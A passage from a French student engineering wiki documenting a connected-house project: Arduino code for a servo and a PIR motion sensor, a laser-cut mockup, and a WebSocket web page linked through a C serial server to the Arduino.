pinMode(pinServo,OUTPUT);// on prépare le pin en mode OUTPUT
digitalWrite(pinServo,LOW); // on l'initialise à l'état bas
}
//boucle principale
void loop() {
for (int angle=0;angle<=180;angle+=20){//on fait varier l'angle de 0 à 180° par tranche de 20°
setAngle(angle);// on appelle la fonction setAngle définie plus bas
}
}
//fonction setAngle pour envoyer les impulsions
void setAngle(int a){
int duree=map(a,0,179,1000,2000);// on transforme l'angle en microsecondes et on stocke dans la variable duree
digitalWrite(pinServo,LOW);//on met le pin à l'état bas
// la boucle qui suit est nécessaire
// pour laisser le temps au servo d'aller à sa position
for (int t=0;t<300;t++){
digitalWrite(pinServo,HIGH);// on envoie l'impulsion
delayMicroseconds(duree); // pendant la bonne durée
digitalWrite(pinServo,LOW); // on stoppe l'impulsion
delayMicroseconds(periode-duree); // on attend le temps restant pour atteindre la période
}
}

* En parallèle avec ce travail de programmation sur arduino, on réalise des plans de la maquette de la maison pour ensuite la faire passer à la découpeuse laser grâce au logiciel inkscap.

== Séance 2 ==
Lors de la séance 2, nous avons reçu le capteur PIR, étudié sa datasheet pour pouvoir l'utilisé et le programmer avec la carte arduino. Pendant ce temps là, en parallèle est finalisé le design et la conception de la maquette de la maison connectée.

=== Partie électronique ===

* Un capteur infrarouge permet de détecter un mouvement dans son champ de vision en se basant sur l’infrarouge. On parle aussi de capteur pyroélectrique ou PIR. Les PIR sont capable de détecter une variation des ondes infrarouges, ce qui génère un courant électrique. Dans le cas de notre capteur, il est en fait divisé en deux partie différente reliées ensemble afin de détecter une variation lors qu’une des moitiés capte plus qu’une autre. On a ainsi un relevé d’une différence, et non plus d’une valeur simple. Lors d’un mouvement, la variation des deux moitiés vont varier, et on va donc capter cette variation positive.

[[Fichier:PIR.jpg]]

Les spécifications techniques du capteur PIR HC SR501 sont les suivantes :

Entrée : Tension continue de 4.5 à 20V , courant 65mA
Sortie : High 3.3 V / Low 0V (Détection ou non)
Angle : <100 °
Dimension : 32 mm * 24 mm
Délai : de 5 à 200 secondes (ajustable)
Portée : de 3 à 7 mètres (ajustable).
Au repos : 50 uA

En ce qui concerne le montage, on s'aide d'une LED pour vérifier l'état et le passage devant le PIR.
On branche donc :

Le VCC du PIR sur le 5V de l’arduino
Le GRD du PIR sur le GRD de l’arduino
La dernière branche sur le pin 2 de l’arduino
On ajoute une led de contrôle entre le pin 13 et un GRD de l’arduino

[[Fichier:montagePIR.jpg]]

=== Partie informatique ===

*Pour la programmation du PIR, il est important de lui laisser au moins 30 secondes pour se calibrer, puis une fois que cela est fait, on va en boucle relever la valeur que nous renvoi le capteur : 0 ou 1. 0 signifiant pas de signal et 1 signifiant qu’il détecte une variation infrarouge. Une LED s'allume pour valider l'état.

//the time we give the sensor to calibrate (10-60 secs according to the datasheet)
int calibrationTime = 30;
int ledPin = 13; // choose the pin for the LED
int inputPin = 2; // choose the input pin (for PIR sensor)
int pirState = LOW; // we start, assuming no motion detected
int val = 0; // variable for reading the pin status
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
pinMode(inputPin, INPUT); // declare sensor as input
Serial.begin(9600);
Serial.print("calibrating sensor ");
for(int i = 0; i < calibrationTime; i++){
Serial.print(".");
delay(1000);
}
}
void loop(){
val = digitalRead(inputPin); // read input value
Serial.println(val);
if (val == HIGH) { // check if the input is HIGH
digitalWrite(ledPin, HIGH); // turn LED ON
delay(150);
if (pirState == LOW) {
// we have just turned on
Serial.println("Motion detected!");
// We only want to print on the output change, not state
pirState = HIGH;
}
} else {
digitalWrite(ledPin, LOW); // turn LED OFF
delay(300);
if (pirState == HIGH){
// we have just turned of
Serial.println("Motion ended!");
// We only want to print on the output change, not state
pirState = LOW;
}
}
}

Après avoir compiler et téléverser le programme dans l'arduino, on peut constater dans le moniteur série l'état et le fonctionnement du PIR en directe.

[[Fichier:moniteurseriepir.jpg]]

* Le design maquette a été revue en détail durant la séance pour les petites corrections et pouvoir lancer le découpage et ensuite la monter proprement sans soucis de dimensionnement.

[[Fichier:decoupagelaser.jpg]]

[[Fichier:maquettemonte.jpg]]

== Séance 3 ==

=== Partie électronique ===

Prise en main de Altium designer et réalisation du comparateur de température
prise en main CAN sur carte arduino

=== Partie informatique ===

prog de Altium designer et réalisation du comparateur de température
prog CAN sur carte arduino

== Séances supplémentaires ==

=== Partie électronique ===

Montage de la maquette avec les différents élements pour la présentation.

=== Partie informatique ===

==== Schéma de fonctionnement ====

Afin de mettre en place le système, le schéma suivi sera le suivant :

1) Requête de la page WEB par l'envoi d'un caractère.

2) Réception du serveur programmé en C, tournant en tâche de fond, traitement et envoi de la requète à l'arduino par la port série.

3) Réception de la requête par l'Arduino, traitement et envoi de la réponse en série.

4) Réception de la réponse de l'Arduino par le programme C.

5) Transmission de la réponse à la page WEB.

==== Page WEB ====

La page web va émettre des requêtes pour chacune des données :
-1 pour afficher la valeur du potentiomètre
-2 pour afficher la valeur de capteur de luminosité
-3 pour afficher la valeur de capteur de température
-4 pour afficher l'état des lampes (l'allumage et l'extinction étant gérés par l'Arduino)
-5 pour afficher l'état du chauffage (l'allumage et l'extinction étant gérés par l'Arduino)

Afin de lancer ces requêtes automatiquement, un créé une boucle javascript avec les fonctions :

1) setTimeout qui permet de lancer une fonction après une autre après un certain temps (ici 200ms)

2) setInterval qui permet de lancer une fonction avec un intervalle régulier dès que la page est lancée (ici 1000ms)

function autoSend0(){
websocket.send('0');
setTimeout('autoSend1();', 200);
}
function autoSend1(){
websocket.send('1');
setTimeout('autoSend2();', 200);
}
function autoSend2(){
websocket.send('2');
setTimeout('autoSend3();', 200);
}
function autoSend3(){
websocket.send('3');
setTimeout('autoSend4();', 200);
}
function autoSend4(){
websocket.send('4');
}
setInterval(autoSend0, 1000);

La requête est lancée en websocket grâce à la commande "websocket.send('x')", x étant la caractère à envoyer.

Cette requête sera donc réceptionnée par le serveur tournant en tache de fond, serveur programmé en C.

Une fois tout le traitement effectué, la réponse est alors recue de la forme suivante : xxxxi

i représente le numéro de l'instruction

xxxx représente les données correspondant à l'instruction

De cette manière, on peut grâce à une simple condition if, modifier la variable correspondante, qui sera donc actualisée régulièrement sur la page WEB.

==== Partie Arduino ====

Le programme de l'arduino est divisé en deux grandes parties :

Le fonctionnement de manière autonome, c'est à dire qu'il n'est pas nécessaire que le Raspberry et la page WEB soient lancés, l'Arduino peut exécuter ses fonctions d'allumage et d'extinction de lumière et de chauffage de manière autonome.

On utilise ici le CAN intégré à l'Arduino afin d'acquérir des valeurs de potentiomètre, de luminosité et de température, et de les traiter.

Dans ce programme, lorsque la luminosité est trop faible, une lumière s'allume, et lorsque la température est trop basse le chauffage s'allume :

if (temperature < 27)
{
digitalWrite(led2, HIGH);
ledstate2=1;
}
else
{
digitalWrite(led2, LOW);
ledstate2=0;
}
if (analogRead(A1) < 300)
{
digitalWrite(led1, HIGH);
ledstate1=1;
}
else
{
digitalWrite(led1, LOW);
ledstate1=0;
}

On a pu remarquer que dans la pratique, le capteur de température est relativement instable et imprécis, ce qui engendre un comportement relativement aléatoire.

La partie série, c'est la partie dédiée à la communication de l'Arduino avec une interface série, ici le Raspberry.

Lorsqu'un caractère est reçu, ici un entier correspondant à l'instruction, l'Arduino fait la conversion Analogique-Digitale de la valeur envoyée sur le pin correspondant, et la stocke dans une variable.

Une fois stockée, cette variable sera transmise en série bit par bit, il faut donc que le premier bit transmis soit la longueur de l'entier à transmettre.

Pour cela, on utilise la formule :

n = (log10(sensorValue) + 1)

avec n la longueur de sensorValue.

int sensorValue = analogRead(A0);
int n = (log10(sensorValue) + 1); // nombre de chiffres composant le nombre
itoa(n, lengh, 10);
itoa(sensorValue, value, 10);
strcat(lengh,value);
Serial.println(lengh);

La valeur finale transmise en série sera donc de la forme nxxxx.

==== Partie serveur ====

Le programme C est celui qui fera la liaison entre les communications série et le WebSocket.

Il va recevoir par le websocket un entier correspondant à l'instruction et le stocker dans l'entier message :

case LWS_CALLBACK_RECEIVE:
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);

Un appel à la fonction serial_read est ensuite fait.

Cette fonction va aller lire bit par bit chaque caractère du message transmis en série. Elle prend en argument l'instruction "rec"

serial_read(&rec)

Un envoi en série de l'instruction est ensuite fait :

if(write(sd,&c,sizeof(char))!=1){ perror("main.write"); exit(-1); }

Une fois l'envoi fait, la lecture des données peur commencer. On commence par lire le nombre de bits que contient le mot :

if(read(sd,&n,sizeof(char))!=1){ perror("main.read"); exit(-1); }
n=n-48;

Cette donnée est donc stockée dans l'entier n, qui nous sert à faire la boucle for suivante :

for (i=0;i<n;i++)
{
if(read(sd,&c,sizeof(char))!=1){ perror("main.read"); exit(-1); }
value=value+(c-48)*pow(10,n-i-1);
}

Cette boucle for permet donc la construction de l'entier reçu en série, ce dernier nécessitant alors d'être converti en str grâce à sprintf, auquel on ajoute en fin de mot l'instruction afin que le serveur web puisse repérer la nature de la donnée.

sprintf (value, "%d", (10*serial_read(&rec))+rec);

Le résultat final est envoyé en websocket.

== Conclusion ==

Projet IMA3 P2, 2016/2017, TD1

2017-03-21T07:50:06Z

Tcattela : /* Le matériel */